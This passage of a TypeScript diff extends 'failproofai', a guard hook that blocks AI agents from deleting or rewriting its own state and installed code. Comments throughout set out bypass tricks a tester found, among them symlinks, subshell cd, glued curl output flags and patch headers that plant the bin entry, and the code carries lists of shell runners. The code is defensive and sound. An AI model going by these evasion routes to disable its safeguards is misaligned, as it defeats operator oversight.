moveTo(rest[0], [], true); + } + return; + } + if (head === "popd") { + const top = dirStack.pop(); + if (top && !stackOnly) moveTo(top, [], true); + return; + } + if (head === "pushd" && operand === undefined) { + if (stackOnly) return; + const top = dirStack.pop(); + if (top) { + dirStack.push(at); + moveTo(top, [], true); + } + return; + } + if (operand === "-") { + const oldpwd = values.get("OLDPWD"); + if (oldpwd !== undefined) moveTo(whereAfter(at, expand(oldpwd), oldpwd, physical)); + else if (previous) moveTo(previous, [], true); + return; + } + if (operand === "") return; + let target = operand ?? expand("$HOME"); + // A pattern is the directory it matches on disk, and this line's links + // (`ln -s ../node_modules/.bin out/b && cd out/b*`). Matching none, the + // `cd` fails and the shell stays; matching several, bash 4.4 and later + // fail and older ones take the first, which a move that may fail covers. + if (GLOB_METACHAR_RE.test(target) && !/[$`]/.test(target)) { + const matches = globPaths(at, target); + if (matches !== null && matches.length === 0) return; + target = matches?.[0] ?? "$(unknown)"; + } + const to = whereAfter(at, target, named ?? target, physical); + if (stackOnly) { + dirStack.push(to); + return; + } + if (head === "pushd") dirStack.push(at); + // Wherever else the shell may stand moves too, the same way, and to each + // other value the operand may hold: `D=bins; (D=out); cd $D` stands in + // `bins` (found by hermes on FailproofAI/failproofai#1058). + const others = named === undefined ? [] : variantsOf(named); + moveTo( + to, + [ + ...alts.map((where) => whereAfter(where, target, named ?? target, physical)), + ...others.flatMap((other) => [at, ...alts].map((where) => whereAfter(where, other, named ?? other, physical))), + ], + startFull.startsWith("/") && to.full === startFull, + ); + }; + // `ln -s … `, in every form GNU ln takes: `-t DIR` + // in any spelling, a last operand that is a directory (`.`, `dir/`, one on + // disk, or a link to one unless `-n`), several targets into one directory, + // and `-r`, which reads each target from where the shell stands rather than + // from the link. `ln -s node_modules/.bin/failproofai .` made `./failproofai` + // a link to the entry while the walk recorded the directory itself. Each link + // is keyed by where it really is, its parent resolved through every link + // before it, so a later write through it on the same line lands where it would. + const LN_OPTIONS = INTO_DIRECTORY_OPTIONS.get("ln")!; + const baseNameOf = (word: string): string => { + const trimmed = word.replace(/[\\/]+$/, ""); + return trimmed.slice(trimmed.lastIndexOf("/") + 1); + }; + // Where a link written as `word` from `base` goes: its parent resolved, its + // own name not followed, as `symlink()` creates it. + const linkPlace = (base: Where, word: string): string | undefined => { + const path = absoluteFrom(base, word.replace(/[\\/]+$/, "") || word); + if (path === undefined) return undefined; + const cut = path.raw.replace(/\/+$/, "").lastIndexOf("/"); + const parent = realPath(path.raw.slice(0, cut) || "/"); + const name = path.raw.replace(/\/+$/, "").slice(cut + 1); + if (typeof parent !== "string" || name === "" || name === "." || name === "..") return undefined; + return `${parent === "/" ? "" : parent}/${name}`; + }; + // Whether `word` is a directory for `ln` to put links into: on disk, or a + // link this line made to one, followed unless `-n`. `undefined` when it does + // not exist yet, which a `mkdir` earlier on the line may change. + const linksInto = (base: Where, word: string, noDereference: boolean): boolean | undefined => { + if (/[\\/]$/.test(word) || word === "." || word === ".." || /[\\/]\.\.?$/.test(word)) return true; + const place = linkPlace(base, word); + if (place === undefined) return false; + if (links.has(place)) { + if (noDereference) return false; + const real = realPath(place); + if (typeof real !== "string") return true; + try { + return statSync(real).isDirectory(); + } catch { + return undefined; + } + } + try { + return (noDereference ? lstatSync(place) : statSync(place)).isDirectory(); + } catch { + return undefined; + } + }; + const recordLink = (args: string[]): void => { + let symbolic = false; + let fromShell = false; + let noDereference = false; + let ontoItself = false; + let directory: string | undefined; + const operands: string[] = []; + for (let i = 0; i < args.length; i++) { + const arg = args[i]; + if (arg === "--") { + operands.push(...args.slice(i + 1)); + break; + } + if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const option = longOptionOf(LN_OPTIONS, arg.slice(2, eq === -1 ? undefined : eq)); + if (option?.full === "target-directory") directory = eq === -1 ? args[++i] : arg.slice(eq + 1); + else if (option?.value) i += eq === -1 ? 1 : 0; + else if (option?.full === "symbolic") symbolic = true; + else if (option?.full === "relative") fromShell = true; + else if (option?.full === "no-dereference") noDereference = true; + else if (option?.full === "no-target-directory") ontoItself = true; + continue; + } + if (arg.startsWith("-") && arg.length > 1) { + for (let c = 1; c < arg.length; c++) { + const flag = arg[c]; + if (LN_OPTIONS.short.includes(flag)) { + // The rest of the cluster is the value, or else the next word is. + const value = c + 1 < arg.length ? arg.slice(c + 1) : args[++i]; + if (flag === "t") directory = value; + break; + } + if (flag === "s") symbolic = true; + else if (flag === "r") fromShell = true; + else if (flag === "n") noDereference = true; + else if (flag === "T") ontoItself = true; + } + continue; + } + operands.push(arg); + } + if (!symbolic || operands.length === 0) return; + for (const base of [at, ...alts]) { + const placed: Array<[string | undefined, string]> = []; + if (directory !== undefined) { + for (const target of operands) placed.push([linkPlace(base, `${directory}/${baseNameOf(target)}`), target]); + } else if (operands.length === 1) { + placed.push([linkPlace(base, baseNameOf(operands[0])), operands[0]]); + } else { + const last = operands[operands.length - 1]; + const targets = operands.slice(0, -1); + const into = targets.length > 1 ? true : ontoItself ? false : linksInto(base, last, noDereference); + // Into the directory, or the operand itself; both when it does not + // exist yet, since the line may have made it. + if (into !== false) for (const target of targets) placed.push([linkPlace(base, `${last.replace(/[\\/]+$/, "")}/${baseNameOf(target)}`), target]); + if (into !== true) placed.push([linkPlace(base, last), targets[0]]); + } + for (const [place, written] of placed) { + if (place === undefined || written === undefined) continue; + let target = written === "~" || written.startsWith("~/") ? homedir() + written.slice(1) : written; + // `-r` reads the target from where the shell stands. + if (fromShell && relativeWord(target) && !/[$`]/.test(target)) { + const fromHere = absoluteFrom(base, target); + if (fromHere === undefined) continue; + target = fromHere.raw; + } + links.set(place, target); + } + } + // Every path resolved so far may now run through one of these. + realPaths.clear(); + directoryWalks.clear(); }; - let cwdInState = false; - // How deep in `( … )` the walk is, and how deep it was when the `cd` fired. - // A `cd` inside a subshell moves the subshell only, so the window closes when - // the parenthesis does: `(cd ~/.failproofai && cat x); rm -rf node_modules` - // was denying a cleanup in an entirely unrelated directory. - let parenDepth = 0; - let cdParenDepth: number | null = null; // A loop header hands its word list to the body, and the body is a separate // pipeline that names nothing. Without this, `for f in ~/.failproofai/*; do // rm -rf $f; done` is a header that only expands and a body that only deletes // something called `$f`. let loopCarriesState = false; - for (const pipeline of command.split(PIPELINE_SEPARATORS)) { + const parts = splitUnquoted(command, PIPELINE_SEPARATORS); + for (let part = 0; part < parts.length; part += 2) { + const pipeline = parts[part]; + // A move the next command does not depend on may have failed, so from + // there on the directory before it is possible too. + if (part > 0 && parts[part - 1] !== "&&" && pending.length > 0) { + alts = possible([...pending, ...alts]); + pending = []; + } if (!pipeline.trim()) continue; - const simpleCommands = pipeline.split("|"); + // `declare -n R=D` makes `R` a name for `D`, read through it. + const namerefs = new Map(); + for (const [, name, target] of pipeline.matchAll(NAMEREF_RE)) namerefs.set(name, target); + // A value is what the shell stores: its references read when it is + // assigned, each with every value it may hold, so `A=bins; (A=out); + // B=$A` gives `B` both (found by hermes on FailproofAI/failproofai#1058). + for (const [, name, value] of pipeline.matchAll(ASSIGNMENT_RE)) { + let bare = value.replace(/^["']|["']$/g, ""); + // A substitution with a space in it arrives cut short (`$(echo`): its + // value is one the walk cannot read, whole. + if ((bare.match(/\$\(/g) ?? []).length > (bare.match(/\)/g) ?? []).length || (bare.match(/`/g) ?? []).length % 2 === 1) bare = "$(…)"; + const target = namerefs.get(name); + const now = target !== undefined ? `\${${target}}` : expand(bare); + const others = target !== undefined ? [] : variantsOf(bare); + if (values.has(name)) assigned(name, values.get(name)!); + values.set(name, now); + assigned(name, now); + for (const other of others) assigned(name, other); + } + // A loop's variable takes each value its list gives, and `read`, + // `printf -v` and `mapfile` set one too. + const loop = LOOP_VARIABLE_RE.exec(pipeline.trim()); + if (loop !== null) loopValues(loop[1], loop[2] ?? ""); + const simpleCommands = splitUnquoted(pipeline, /\|/).filter((_, k) => k % 2 === 0); const reachesState = namesState(pipeline) || cwdInState || loopCarriesState; if (reachesState && LOOP_HEADER_RE.test(pipeline)) loopCarriesState = true; if (/(?:^|\s)done(?:\s|$)/.test(pipeline)) loopCarriesState = false; @@ -1546,43 +4103,260 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { // `grep -r sudo ~/.failproofai 2>/dev/null` and // `cat ~/.failproofai/config.json > /tmp/backup.json` both denied, which is // exactly the diagnosis this guard must not block. - if (reachesState) { - for (const [, target] of pipeline.matchAll(REDIRECT_TARGET_RE)) { - if (namesState(target.replace(/^["']|["']$/g, ""))) return true; - } + for (const [, target] of pipeline.matchAll(REDIRECT_TARGET_RE)) { + const written = target.replace(/^["']|["']$/g, ""); + if (namesHere(written) || namesHere(expand(written)) || expandEverywhere(written).some(namesHere)) return true; + if (sweepWritesEntry(written) || sweepWritesEntry(expand(written)) || unreadLands(expand(written))) return true; + if (anywhereHere() && (plantsAnywhere(written) || plantsAnywhere(expand(written)))) return true; + if (variantsOf(written).some((variant) => namesHere(variant) || (anywhereHere() && plantsAnywhere(variant)))) return true; } for (const simple of simpleCommands) { - parenDepth += (simple.match(/\(/g) ?? []).length; - const words = commandWords(simple); + // Parentheses inside quotes or escaped open and close nothing, and a + // substitution's are not a subshell: `cd $(npm root)/.bin` moves this shell. + const shellText = withoutSubstitutions(simple.replace(/\\[()]|'[^']*'|"(?:[^"\\]|\\.)*"/g, "")); + parenDepth += (shellText.match(/\(/g) ?? []).length; + const configured = withCurlConfig(commandWordList(simple)); + if (configured === null) return true; + const words = configured; + const expanded = words.map(expand); + const lists = expanded.some((word, k) => word !== words[k]) ? [words, expanded] : [words]; + if (alts.length > 0 && words.some((word) => NAMES_PWD_RE.test(word))) { + for (const alt of alts) lists.push(words.map((word) => expandAt(word, alt))); + } + // The line read with each other value a reassigned variable may hold + // that could reach what is protected: the path itself, npm's bin + // directory, or the entry from a directory the agent may not report. + const variantLists: string[][] = []; + for (let k = 1; k < words.length; k++) { + for (const variant of variantsOf(words[k])) { + const reaches = + namesHere(variant) || + NPM_BIN_DIRECTORY_RE.test(variant.replace(/[\\/]+$/, "")) || + isBinDir(variant) || + (anywhereHere() && plantsAnywhere(variant)); + if (!reaches) continue; + if (variantLists.length >= 16) throw new Error("a variable is reassigned too many times to follow"); + variantLists.push(expanded.map((word, j) => (j === k ? variant : word))); + } + } + lists.push(...variantLists); const head = words.length > 0 ? commandBasename(words[0]) : ""; - // Track the shell's position before judging: a `cd` INTO the state makes - // every later relative path a state path, and a `cd` back out ends that. - if (head === "cd" || head === "pushd") { - const operand = words.slice(1).find((w) => !w.startsWith("-")); - cwdInState = operand !== undefined && namesState(operand); - cdParenDepth = cwdInState ? parenDepth : null; - } else if (head === "popd") { - // `popd` returns to wherever the shell was before `pushd`, which ends - // the window as surely as a `cd` out does. Without it every command for - // the rest of the line was judged as if it stood in the state directory. - cwdInState = false; - cdParenDepth = null; - } else if (reachesState && words.length > 0 && simpleCommandDestroys(words, namesState)) { + if (head === "cd" || head === "pushd" || head === "popd") { + // Every stage of a pipeline runs in a subshell of its own, so a `cd` + // there moves nothing the rest of the line sees. + if (simpleCommands.length === 1) { + if (parenDepth > 0) { + scopes.push({ depth: parenDepth, at, previous, stack: dirStack.slice(), alts: alts.slice(), pending: pending.slice(), physical: physicalMoves }); + } + moveShell(head, words.slice(1), expanded.slice(1)); + } + } else if ( + [at, ...alts].some((base) => + lists.some( + (list) => + landsInDirectoryAs(list, namesState, (word) => fromBase(base, word), base.lost, landsOnState, isBinDir) || + // From a directory the agent may have run the line in without + // saying, a copy is also read as written, from somewhere unknown. + (base.anywhere === true && landsInDirectoryAs(list, namesState, (word) => word, true, landsOnState, isBinDir)) || + downloadLandings(list).some(({ dir, name }) => { + const into = fromBase(base, dir).replace(/(?:[\\/]+\.?)+$/, ""); + if (name === null) return NPM_BIN_DIRECTORY_RE.test(into) || isBinDir(dir) || (base.anywhere === true && relativeWord(dir)); + const landing = `${dir.replace(/[\\/]+$/, "")}/${name}`; + return ( + namesState(fromBase(base, landing)) || + landsOnState(landing) || + ((base.lost || base.anywhere === true) && relativeWord(dir) && couldBeEntryName(name)) + ); + }), + ), + ) || + lists.some((list) => writtenOperands(list).some(sweepWritesEntry)) || + writtenOperands(expanded).some(unreadLands) || + copiesIntoUnread(expanded) || + (head === "sed" && lists.some((list) => sedScriptWrites(list.slice(1)))) || + lists.some((list) => patchFileWrites(list, simple) || extractsIntoBin(list)) || + (anywhereHere() && lists.some(writesEntryAnywhere)) + ) { + // Before the `reachesState` gate, because the point is that nothing on + // the line names the path: the source's name and the directory do. + return true; + } else if ( + words.length > 0 && + // Operands only: the command word is a program, not a path written to. + // The line as written is `reachesState`; a word adds to it only by + // resolving from where the shell stands or through a symlink, or by + // what expansion made it. + (reachesState || + words.some( + (word, k) => + k > 0 && + (resolvesOntoState(word) || landsOnState(word) || (expanded[k] !== word && namesHere(expanded[k]))), + ) || + // A value glued to its option is a path too, read from where the + // shell stands and through links: `cd node_modules/.bin && curl + // -sofailproofai `, and `curl -sohook ` with `hook` a link + // to the entry (found by hermes on FailproofAI/failproofai#1058). + lists.some((list) => + list.some((word, k) => { + if (k === 0 || !word.startsWith("-")) return false; + const values = gluedOptionValues(head, word); + return values === null || values.some(gluedValueNamesHere); + }), + ) || + variantLists.length > 0 || + // A file a sed script writes, read the same way. + (head === "sed" && lists.some((list) => sedWriteTargets(list.slice(1)).some(namesHere)))) && + lists.some((list) => simpleCommandDestroys(list, namesHere)) + ) { // Judged BEFORE the closing parenthesis is counted: a `rm -rf ./*)` // still runs inside the subshell it closes. return true; + } else if (head === "ln" && simpleCommands.length === 1) { + recordLink(expanded.slice(1)); + } else if (head === "set" && simpleCommands.length === 1) { + // Inside `( … )` it is the subshell's setting only, put back when it + // closes (found by hermes on FailproofAI/failproofai#1058). + if (parenDepth > 0) { + scopes.push({ depth: parenDepth, at, previous, stack: dirStack.slice(), alts: alts.slice(), pending: pending.slice(), physical: physicalMoves }); + } + for (let i = 1; i < words.length; i++) { + if (/^[-+][A-Za-z]+$/.test(words[i]) && words[i].includes("P")) physicalMoves = words[i][0] === "-"; + else if ((words[i] === "-o" || words[i] === "+o") && words[i + 1] === "physical") physicalMoves = words[i] === "-o"; + } } - parenDepth -= (simple.match(/\)/g) ?? []).length; + // The builtins that set a variable without `=`. A pipeline's stages run + // in subshells, so only a command standing alone sets one this line keeps. + if (simpleCommands.length === 1) setByBuiltin(head, words, simple); + parenDepth = Math.max(0, parenDepth - (shellText.match(/\)/g) ?? []).length); if (cdParenDepth !== null && parenDepth < cdParenDepth) { cwdInState = false; cdParenDepth = null; } + // Leaving a subshell puts back where the shell stood before it, inside + // the state included: `cd ~/.failproofai && (cd /tmp) && rm -rf *`. + while (scopes.length > 0 && parenDepth < scopes[scopes.length - 1].depth) { + const scope = scopes.pop()!; + at = scope.at; + previous = scope.previous; + alts = scope.alts; + pending = scope.pending; + physicalMoves = scope.physical; + dirStack.splice(0, dirStack.length, ...scope.stack); + cwdInState = at.inState; + cdParenDepth = cwdInState ? parenDepth : null; + } } } return false; } +/** How much of the shell's directory the walk reads words from; see `shellTail`. */ +const SHELL_DIR_SEGMENTS = 16; + +/** + * How much of the shell's whole path the walk keeps for a `..` that climbs + * above `SHELL_DIR_SEGMENTS` and for following symlinks. Bounded so that a + * script of a thousand `cd`s stays linear. + */ +const FULL_DIR_SEGMENTS = 64; + +/** How many directories a failed `cd` can leave the shell in that the walk tracks. */ +const MAX_ALTERNATE_DIRS = 4; + +/** Linux's PATH_MAX: `open(2)` refuses a longer path with ENAMETOOLONG. */ +const PATH_MAX_BYTES = 4096; + +/** + * Where a relative word is also read once the walk has lost the shell's + * directory: the places an installed failproofai entry or package lives. Only + * a word that names one there can match, so an ordinary file is unaffected. + */ +const AS_IF_INSTALLED = ["node_modules/.bin/", "node_modules/", "/bin/"]; + +/** + * The directories a glob candidate continues from by one name: `.bin` and + * `bin` hold the entry, `node_modules` and `.pnpm` the package, `pnpm` is + * pnpm's home. Only from these can a relative glob that does not spell the + * name itself (`fail*`) land on installed code. + */ +const GLOB_PARENT_DIRECTORIES = new Set([".bin", "bin", "node_modules", ".pnpm", "pnpm"]); + +/** + * `text` without its `$(…)` command substitutions, so their parentheses are + * not counted as a subshell's. One left open runs to the end of the text. + */ +function withoutSubstitutions(text: string): string { + let out = ""; + for (let i = 0; i < text.length; i++) { + if (text[i] === "$" && text[i + 1] === "(") { + let depth = 0; + let j = i + 1; + for (; j < text.length; j++) { + if (text[j] === "(") depth++; + else if (text[j] === ")" && --depth === 0) break; + } + i = j; + continue; + } + out += text[i]; + } + return out; +} + +/** A word a shell reads from its current directory: not `~`, `/`, `$…` or `C:`. */ +function relativeWord(word: string): boolean { + return word !== "" && !/^(?:[~/\\$]|[A-Za-z]:)/.test(word); +} + +/** The entry's own name, a Windows shim of it, or a glob that could be either. */ +/** The names npx runs for `failproofai` in a bin directory, the Windows shims included. */ +const NPX_ENTRY_NAMES = ["failproofai", "failproofai.cmd", "failproofai.ps1", "failproofai.exe", "failproofai.bunx"]; + +/** A path that is npx's entry for `failproofai`. */ +const NPX_ENTRY_PATH_RE = /(?:^|[\\/])node_modules[\\/](?:\.?[\\/])*\.bin[\\/]failproofai(?:\.(?:cmd|ps1|exe|bunx))?$/i; + +function couldBeEntryName(name: string): boolean { + return /^failproofai(?:\.(?:cmd|ps1|exe|bunx))?$/i.test(name) || (GLOB_METACHAR_RE.test(name) && globCouldBeEntry(name)); +} + +/** + * `word` read from directory `base` (as given when absolute, or with no base), + * with `//`, `.` and `..` resolved as text, the way a shell's logical `cd` + * does. + */ +function shellPath(base: string | undefined, word: string): string { + const joined = base === undefined ? word : `${base}/${word}`; + const absolute = joined.startsWith("/"); + const parts: string[] = []; + for (const part of joined.split("/")) { + if (part === "" || part === ".") continue; + if (part === "..") { + if (parts.length > 0 && parts[parts.length - 1] !== "..") parts.pop(); + else if (!absolute) parts.push(part); + continue; + } + parts.push(part); + } + return (absolute ? "/" : "") + parts.join("/"); +} + +/** + * A directory cut to its last `SHELL_DIR_SEGMENTS` segments. Every protected + * pattern matches the END of a path, so the dropped head never decides + * anything, and the cut keeps a script of a thousand `cd`s from growing every + * later word it is joined to. + */ +function shellTail(path: string): string { + let cut = path.length; + for (let kept = 0; kept < SHELL_DIR_SEGMENTS; kept++) { + if (cut <= 0) return path; + cut = path.lastIndexOf("/", cut - 1); + if (cut < 0) return path; + } + return path.slice(cut + 1); +} + const FAILPROOFAI_UNINSTALL_RE = /(?:npm\s+(?:uninstall|remove|un|r)\s.*failproofai|bun\s+remove\s.*failproofai|yarn\s+global\s+remove\s+failproofai|pnpm\s+(?:remove|uninstall|un)\s.*failproofai)/; // warnGitAmend @@ -2617,6 +5391,229 @@ function blockWorkOnMain(ctx: PolicyContext): PolicyResult { return allow(); } +/** + * A patch's file headers: every file it adds, updates or deletes, and where + * `*** Move to:` renames one, in the format Codex's `apply_patch` takes + * (lenient about spacing, as its parser is); and the `---` / `+++` paths of a + * unified diff. + */ +const PATCH_FILE_RE = /^[ \t]*\*\*\*[ \t]*(?:(?:Add|Update|Delete)[ \t]+File|Move[ \t]+to)[ \t]*:[ \t]*(.*?)[ \t]*\r?$/gim; +const UNIFIED_DIFF_FILE_RE = /^(?:---|\+\+\+)[ \t]+(.*?)(?:\t.*)?\r?$/gm; + +/** Input keys that hold what a file tool writes, never a patch to apply. */ +const FILE_CONTENT_KEYS = new Set(["content", "old_string", "new_string", "new_source", "file_text", "old_str", "new_str"]); + +/** + * The files an edit tool's patch writes, when the tool carries a patch instead + * of a path. Codex's `apply_patch` (canonical `Edit`) delivers its patch as + * `tool_input.command`, with no `file_path` at all, so the path check below + * had nothing to read and a native patch could plant `node_modules/.bin/failproofai` + * (found by hermes on FailproofAI/failproofai#1058). OpenCode's sends `patchText`. + * Read from every input that is not a file's content, as text or a list of it. + */ +function patchTargets(input: Record | undefined): string[] { + const targets = new Set(); + for (const [key, value] of Object.entries(input ?? {})) { + if (FILE_CONTENT_KEYS.has(key)) continue; + const texts = typeof value === "string" ? [value] : Array.isArray(value) ? value.filter((v): v is string => typeof v === "string") : []; + for (const text of texts) { + for (const [, path] of text.matchAll(PATCH_FILE_RE)) if (path) targets.add(path); + for (const [, written] of text.matchAll(UNIFIED_DIFF_FILE_RE)) { + const path = written.replace(/^"(.*)"$/, "$1"); + if (!path || path === "/dev/null") continue; + targets.add(path); + // `a/` and `b/` are git's prefixes, not directories, unless they are. + if (/^[ab]\//.test(path)) targets.add(path.slice(2)); + } + } + } + return [...targets]; +} + +/** The builtins that print their arguments and run none of them. */ +const PRINT_COMMANDS = new Set(["echo", "printf"]); + +/** Readers a pipeline can hand printed text to without running any of it. */ +const TEXT_READERS = new Set([ + "cat", "less", "more", "head", "tail", "wc", "grep", "egrep", "fgrep", "sort", "uniq", "cut", "tr", "column", + "nl", "fold", "fmt", "rev", +]); + +/** Where a print's own redirect can send it without keeping it anywhere it may be run from. */ +const HARMLESS_OUTPUT_RE = /^(?:&\d*-?|\/dev\/(?:null|stdout|stderr|tty))$/; + +/** + * Commands that run a file or text they are handed: shells, interpreters and + * what runs a command for you. A line with one of these, or a command named by + * a path (`./notes.md`), may run a file it has just printed into. + */ +const RUNS_FILES = new Set([ + "sh", "bash", "zsh", "dash", "ksh", "mksh", "fish", "csh", "tcsh", "busybox", "source", ".", "eval", "xargs", "env", + "nohup", "timeout", "sudo", "doas", "su", "nice", "ionice", "chroot", "setsid", "stdbuf", "watch", "script", + "expect", "python", "python2", "python3", "node", "nodejs", "deno", "bun", "bunx", "npx", "pnpx", "perl", "ruby", + "php", "lua", "tclsh", "Rscript", "osascript", "pwsh", "powershell", "awk", "gawk", "mawk", "make", "chmod", + "crontab", "at", "batch", "systemd-run", +]); + +/** + * Commands after which what a line prints may be run or kept to run: a + * compound command (`for … do echo '…'; done | sh`), a function or alias + * definition that can stand in for `echo`, and `exec`, which redirects the + * shell itself. + */ +const RUNS_PRINTED_TEXT = new Set([ + "if", "then", "elif", "else", "fi", "for", "while", "until", "do", "done", "case", "esac", "select", "function", + "coproc", "alias", "enable", "shopt", "exec", +]); + +/** + * `command` with each `>` and `<` blanked where it is text that `echo` or + * `printf` only prints: `echo 'cat > node_modules/.bin/failproofai'` documents + * a command rather than running one (found by hermes on + * FailproofAI/failproofai#1058). The walk reads redirects from the text, + * quotes and all, because a quoted program handed to `bash -c` or piped into + * `sh` really does redirect, and the unescaped pass drops the quotes, so both + * read that `>` as a redirect. + * + * Text means quoted (`'…'`, `"…"`, `$'…'`) or escaped (`\>`). Blanked only + * where nothing on the line can run it: an `echo` or `printf` (not + * `printf -v`, which stores it) outside any subshell, group or substitution, + * holding no substitution, piped into nothing but text readers, and + * redirected, if at all, to another descriptor or `/dev/null`; on a line with + * no compound command, function, alias, `exec`, heredoc or process + * substitution. Otherwise the text is left as it is. + */ +function blankPrintedRedirects(command: string): string { + if (!/['"\\]/.test(command) || !/[<>]/.test(command)) return command; + // Per character: text (quoted or escaped), and inside a subshell, group or + // substitution, or a substitution's own start. + const text = new Uint8Array(command.length); + const nested = new Uint8Array(command.length); + const pieces: Array<{ start: number; end: number; pipeIn: boolean; pipeOut: boolean }> = []; + let quote: "'" | '"' | "$'" | null = null; + let depth = 0; + let backquoted = false; + let start = 0; + let pipeIn = false; + for (let i = 0; i < command.length; i++) { + const ch = command[i]; + if (quote === "'") { + if (ch === "'") quote = null; + else text[i] = 1; + continue; + } + if (quote === "$'") { + if (ch === "'") quote = null; + else { + text[i] = 1; + if (ch === "\\" && i + 1 < command.length) text[++i] = 1; + } + continue; + } + if (quote === '"') { + if (ch === '"') { + quote = null; + continue; + } + text[i] = 1; + // A substitution inside double quotes still runs. + if (ch === "`" || (ch === "$" && command[i + 1] === "(")) nested[i] = 1; + if (ch === "\\" && i + 1 < command.length) text[++i] = 1; + continue; + } + if (ch === "\\") { + if (i + 1 < command.length) text[++i] = 1; + continue; + } + if (ch === "'" || ch === '"') { + quote = ch === "'" && command[i - 1] === "$" ? "$'" : ch; + continue; + } + if ((ch === "<" || ch === ">") && command[i + 1] === "(") return command; + if (ch === "<" && command[i + 1] === "<") return command; + if (ch === "(" || ch === "{") depth++; + if (ch === "`") backquoted = !backquoted; + if (depth > 0 || backquoted || "`(){}".includes(ch)) nested[i] = 1; + if (ch === ")" || ch === "}") depth = Math.max(0, depth - 1); + // `&` beside a `>`, and `|` after one, belong to a redirect (`>&2`, `&>`, + // `>|`), not a separator. + const redirecting = (ch === "&" && (command[i - 1] === ">" || command[i + 1] === ">")) || (ch === "|" && command[i - 1] === ">"); + if ("|;&\n\r".includes(ch) && !redirecting) { + let j = i; + while (j < command.length && "|;&\n\r".includes(command[j])) j++; + const run = command.slice(i, j); + const pipe = run === "|" || run === "|&"; + pieces.push({ start, end: i, pipeIn, pipeOut: pipe }); + pipeIn = pipe; + start = j; + i = j - 1; + } + } + if (quote !== null || depth > 0 || backquoted) return command; + pieces.push({ start, end: command.length, pipeIn, pipeOut: false }); + // The line read with its text blanked, for the commands that can run it. + let bare = ""; + for (let i = 0; i < command.length; i++) bare += text[i] ? " " : command[i]; + if (/\w\s*\(\s*\)/.test(bare)) return command; + // Each piece's command word, past any assignments in front of it: as the + // shell reads it, quotes and escapes removed (`'sh'` runs `sh`; found by + // hermes on FailproofAI/failproofai#1058), and as written with its text + // blanked, which is how a reserved word stands. A runner anywhere in the + // piece (`time sh`, `command sh`) counts, and so does a command word the + // walk cannot read (`"$SHELL" notes`) or one named by a path. + const commandOf = (from: number, to: number): string => + bare.slice(from, to).trim().split(/\s+/).find((word) => !/^[A-Za-z_]\w*=/.test(word)) ?? ""; + let runsFiles = false; + for (const { start: from, end: to } of pieces) { + const words = shellWords(command.slice(from, to)).map(({ raw }) => stripShellQuoting(raw)); + const head = words.find((word) => !/^[A-Za-z_]\w*=/.test(word)) ?? ""; + if (RUNS_PRINTED_TEXT.has(commandOf(from, to)) || RUNS_PRINTED_TEXT.has(head)) return command; + if (head.includes("/") || /[$`]/.test(head) || words.some((word) => RUNS_FILES.has(word))) runsFiles = true; + } + + // Whether a piece stands alone at the top of the line with only harmless + // output redirects, and the command it runs. + const plain = (from: number, to: number): string | undefined => { + for (let k = from; k < to; k++) if (nested[k]) return undefined; + for (let k = from; k < to; k++) { + if (command[k] !== ">" || text[k]) continue; + let j = k + 1; + if (command[j] === ">" || command[j] === "|") j++; + const duplicate = command[j] === "&"; + if (duplicate) j++; + while (j < to && /[ \t]/.test(command[j])) j++; + let target = duplicate ? "&" : ""; + for (; j < to && !/\s/.test(command[j]); j++) if (command[j] !== "'" && command[j] !== '"') target += command[j]; + // Into a file, as documentation is, unless something on the line may + // run what it holds (`echo '…' > notes.md` stays text; `… && sh notes.md` + // does not). + if (!HARMLESS_OUTPUT_RE.test(target) && (runsFiles || target === "" || target.startsWith("&"))) return undefined; + k = j - 1; + } + const words = shellWords(command.slice(from, to)); + return words.length > 0 ? words[0].raw : undefined; + }; + const out = command.split(""); + for (let p = 0; p < pieces.length; p++) { + if (pieces[p].pipeIn) continue; + // The pipeline this piece starts. + let last = p; + while (pieces[last].pipeOut && last + 1 < pieces.length) last++; + const head = plain(pieces[p].start, pieces[p].end); + if (head === undefined || !PRINT_COMMANDS.has(head)) continue; + const words = shellWords(command.slice(pieces[p].start, pieces[p].end)); + if (head === "printf" && words.some(({ raw }) => /^-[A-Za-z]*v/.test(raw))) continue; + let readers = true; + for (let q = p + 1; q <= last && readers; q++) { + const reader = plain(pieces[q].start, pieces[q].end); + readers = reader !== undefined && (TEXT_READERS.has(reader) || (reader === "tee" && !runsFiles)); + } + if (!readers) continue; + for (let k = pieces[p].start; k < pieces[last].end; k++) if (text[k] && (command[k] === ">" || command[k] === "<")) out[k] = "_"; + } + return out.join(""); +} + /** * The one policy that cannot be turned off — see `alwaysOn` on its definition. * @@ -2644,23 +5641,35 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // completely as `rm -rf` does — and the machine still reads as fresh, so // fail-closed never fires. Reading is not offered by these tools' write half, // so naming the state at all is the whole test. - if (ctx.toolName === "Write" || ctx.toolName === "Edit" || ctx.toolName === "NotebookEdit") { - const path = getFilePath(ctx) || ((ctx.toolInput?.notebook_path as string) ?? ""); - // The path as given AND the file it lands on. The bin entry a user-scope - // hook runs is usually a symlink into the package, so writing through it - // changes the hook's code without the package's path ever being named. - const kind = failproofaiFileKind(path) ?? failproofaiFileKind(resolveWriteTarget(path, ctx.session?.cwd)); - if (kind === "code") { - return deny( - "Writing to failproofai's installed code would switch enforcement off. " + - "If a policy is blocking legitimate work, say so and let the operator decide.", - ); - } - if (kind === "state") { - return deny( - "Writing to failproofai's own state would switch enforcement off. " + - "If a policy is blocking legitimate work, say so and let the operator decide.", - ); + // `apply_patch` is a patch tool under its own name: OpenClaw passes its own + // through uncanonicalized, where Codex's arrives as `Edit`. + if (ctx.toolName === "Write" || ctx.toolName === "Edit" || ctx.toolName === "NotebookEdit" || ctx.toolName === "apply_patch") { + // The path the tool names, and every file a patch it carries names. + const paths = [getFilePath(ctx) || ((ctx.toolInput?.notebook_path as string) ?? ""), ...patchTargets(ctx.toolInput)]; + // A patch's relative paths are read from the session's directory, and + // from the one the call names when it names one. + const toolCwd = ctx.toolInput?.workdir ?? ctx.toolInput?.cwd; + const cwds = [ctx.session?.cwd, ...(typeof toolCwd === "string" && toolCwd !== "" ? [toolCwd] : [])]; + for (const path of paths) { + // The path as given AND the file it lands on. The bin entry a user-scope + // hook runs is usually a symlink into the package, so writing through it + // changes the hook's code without the package's path ever being named. + const kind = + failproofaiFileKind(path) ?? + cwds.map((cwd) => failproofaiFileKind(resolveWriteTarget(path, cwd))).find((found) => found !== null) ?? + null; + if (kind === "code") { + return deny( + "Writing to failproofai's installed code would switch enforcement off. " + + "If 